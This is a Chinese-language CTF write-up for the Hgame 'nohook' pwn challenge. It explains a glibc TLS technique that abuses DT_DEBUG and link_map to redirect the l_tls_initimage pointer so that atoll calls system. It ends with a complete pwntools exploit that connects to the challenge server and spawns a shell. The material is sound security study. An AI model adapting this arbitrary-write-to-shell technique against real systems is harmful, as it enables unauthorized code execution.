Loading... Final 就做出这一道,第二道 webpwn 确实不太会,花了很长时间才搞出环境,最后无时间了。语神和我说出这个题也没想让我们做出来,感到一丝恶意和一丝释然。Hgame 到这里也正式结束了,总结就不写了。 这道题其实还是比较简单的,但是做了五个半小时,拿了两个 hint 才做出来,主要原因是从未接触过多线程开发,对 glibc 实现多线程的原理了解的非常浅,有许多需要的知识和 trick 不知道。 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/3153794414.png "></div> 程序的主要功能是任意地址读写,常规来说这应该属于最简单的题目之一了,实则不然 首先是保护 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/2281448179.png "></div> 只有 PIE 没有开,意味着无法通过劫持 got 表 getshell,但是一般来说这个不是问题,我们完全可以通过劫持 `__malloc_hook` `__free_hook` 来 getshell,而这就是本题的特点,正如题名 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/2726873269.png "></div> 这俩货都会在进程结束时被置零。 即便是这样也还有办法,不是可以无限次任意地址读写嘛,那么完全可以 `FSOP`,但是事实上是不行的 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/2933257009.png "></div> 进程退出不老老实实用 `exit`,非得要 `syscall`,又没有可控的堆操作,无法执行 `_IO_flush_all_lockp` 函数,当然 `main` 函数结束后也会调用这个函数,但是这里 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/2872055473.png "></div> 有个 `while(1)`.. `main` 函数不会返回。那么我已知的利用方法都没法玩了。 本题的另一个特殊之处在于核心流程是由 `pthread_create` 创建新进程调用的,而且 `start_routine` 里面又大量使用了 `fs` 这个段寄存器,联想的之前做过的 [starctf2018_babystack](https://www.cjovi.icu/WP/985.html)(当时做完这题后本来准备简单研究一下 `TLS` 的机制,然后发现看不懂就暂时放下了),考虑转向思路至 `TLS` 上。但是 `TLS` 我可以说没什么科学的了解,所以思考的时候也没什么底气。只能先调试看看程序是怎么获得要执行的函数的地址的 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/2071020045.png "></div> 这里学到一个新指令 `fsbase`,由于 `fs` 寄存器是用户态无法访问的,所以需要用这个指令来获得 `fs` 的值,然后根据代码中寻址的方法,得知 `fs - 0x18` 开始的 3 个四字分别是 `write` `read` `atoll` 的地址,这也照应了调试图。那么自然的想法是直接修改 `atoll`,劫持为 `system` getshell,自然地我也这么去做了,发现没用,有些许奇怪。 遂开始搜集信息,然后发现有 `__thread` 这个关键字来修饰那些带有全局性且值可能变,但是又不值得用全局变量保护的变量。啥意思呢,大概就是如果一个全局变量用 `__thread` 修饰了,那么在每个线程对这个变量访问时,访问的都是其副本,修改时只会修改副本的值,而不会对原值(image)发生修改,而且访问速度也可以与全局变量相当。看起来很牛,猜测本题中三个函数的地址也是用了这个关键字修饰的。那么之前的尝试无果也可以理解了。 既然是全局变量的副本,那么我们只要修改了这个全局变量不就成了?然后开始找,死找找不到。不久就获得了第一个 hint,就是这个[网址](https://elixir.bootlin.com/glibc/glibc-2.31/source/elf/dl-tls.c#L435),指向的是 `_dl_allocate_tls_init` 这个函数,那就看看这个函数干啥的呗,了解到拷贝原值的过程就是这个函数做的,也就是这段代码 ``` memset (__mempcpy (dest, map->l_tls_initimage, map->l_tls_initimage_size), '\0', map->l_tls_blocksize - map->l_tls_initimage_size); ``` 调试一下看看,断在 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/454284053.png "></div> 此处,再一看此时 `map` 结构体的尾部 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/2132386091.png "></div> 得知两点,首先是全局变量的位置 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/2389365956.png "></div> 看起来这里是可写的,但是实际上是不可以的,这个通过 gdb 的 `vmmap` 就可以看出。 其次是由于拷贝的起始地址和拷贝长度就是由这个 `map` 控制的,如果我们劫持 `map` 结构体的 `l_tls_initimage` 指针,指向一个布置了 `system` 地址的内存空间,那么之后调用 `atoll` 的时候实际上就是在调用 `system`,就可以 getshell。 现在的问题就只在如何获得 `map` 的地址了,试了一些方法,但是由于不会获得 `ld` 的基地址都失败了,好像带多个库的程序通过 got 表来计算各种基地址是不行的。然后就拿到了第二个 hint > 可以关注下 DT_DEBUG 0x403E70 于是得知 `DT_DEBUG` ,在本程序中在 `0x403E70`,运行时会指向 `struct r_debug`,而`struct r_debug` 的第二个元素就会指向第一个 `link_map`,而本题的第一个 `link_map` 的 `l_tls_initimage` 指针就是指向 `0x403D70`,我们通过多次任意地址读,就可以读出第一个 `link_map` 的地址,与这个地址偏移 0x428 处就是 `l_tls_initimage` 指针了,再通过任意地址写就可以将它指向我们布置好的内存了。 这个“布置好的内存”可以布置在 `0x404000` 这个页中,依次写 `write` `read` `system` 就可以了,比较简单,这里就不多说了。 ### exp ```cpp #!/usr/bin/env python # coding=utf-8 from pwn import * from LibcSearcher import * context.log_level = 'debug' #sh = process("./nohook") sh = remote("159.75.104.107",30822) elf = ELF("./nohook") #libc = ELF("./lib/libc.so.6") def write_in(addr,value): sh.sendlineafter("mode?\n",str(1)) sh.sendlineafter("where?\n",str(addr)) sh.sendlineafter("what?\n",str(value)) def read_from(addr): sh.sendlineafter("mode?\n",str(2)) sh.sendlineafter("where?\n",str(addr)) read_from(elf.got["write"]) write_addr = u64(sh.recv(6).ljust(8,'\x00')) read_addr = write_addr + 0xA0 system_addr = write_addr - 0x1B0E70 DT_DEBUG = 0x403E68 + 8 read_from(DT_DEBUG) _r_debug_addr = u64(sh.recv(6).ljust(8,'\x00')) read_from(_r_debug_addr + 8) first_linkmap_addr = u64(sh.recv(6).ljust(8,'\x00')) log.success("libc_base:" + hex(first_linkmap_addr)) fake_destination = 0x404A00 write_in(fake_destination,write_addr) write_in(fake_destination + 0x8,read_addr) write_in(fake_destination + 0x10,system_addr) tls_initimage_addr = first_linkmap_addr + 0x428 write_in(tls_initimage_addr,fake_destination) sh.sendlineafter("mode?\n","/bin/sh\x00") sh.interactive() ``` 最后修改:2021 年 03 月 14 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧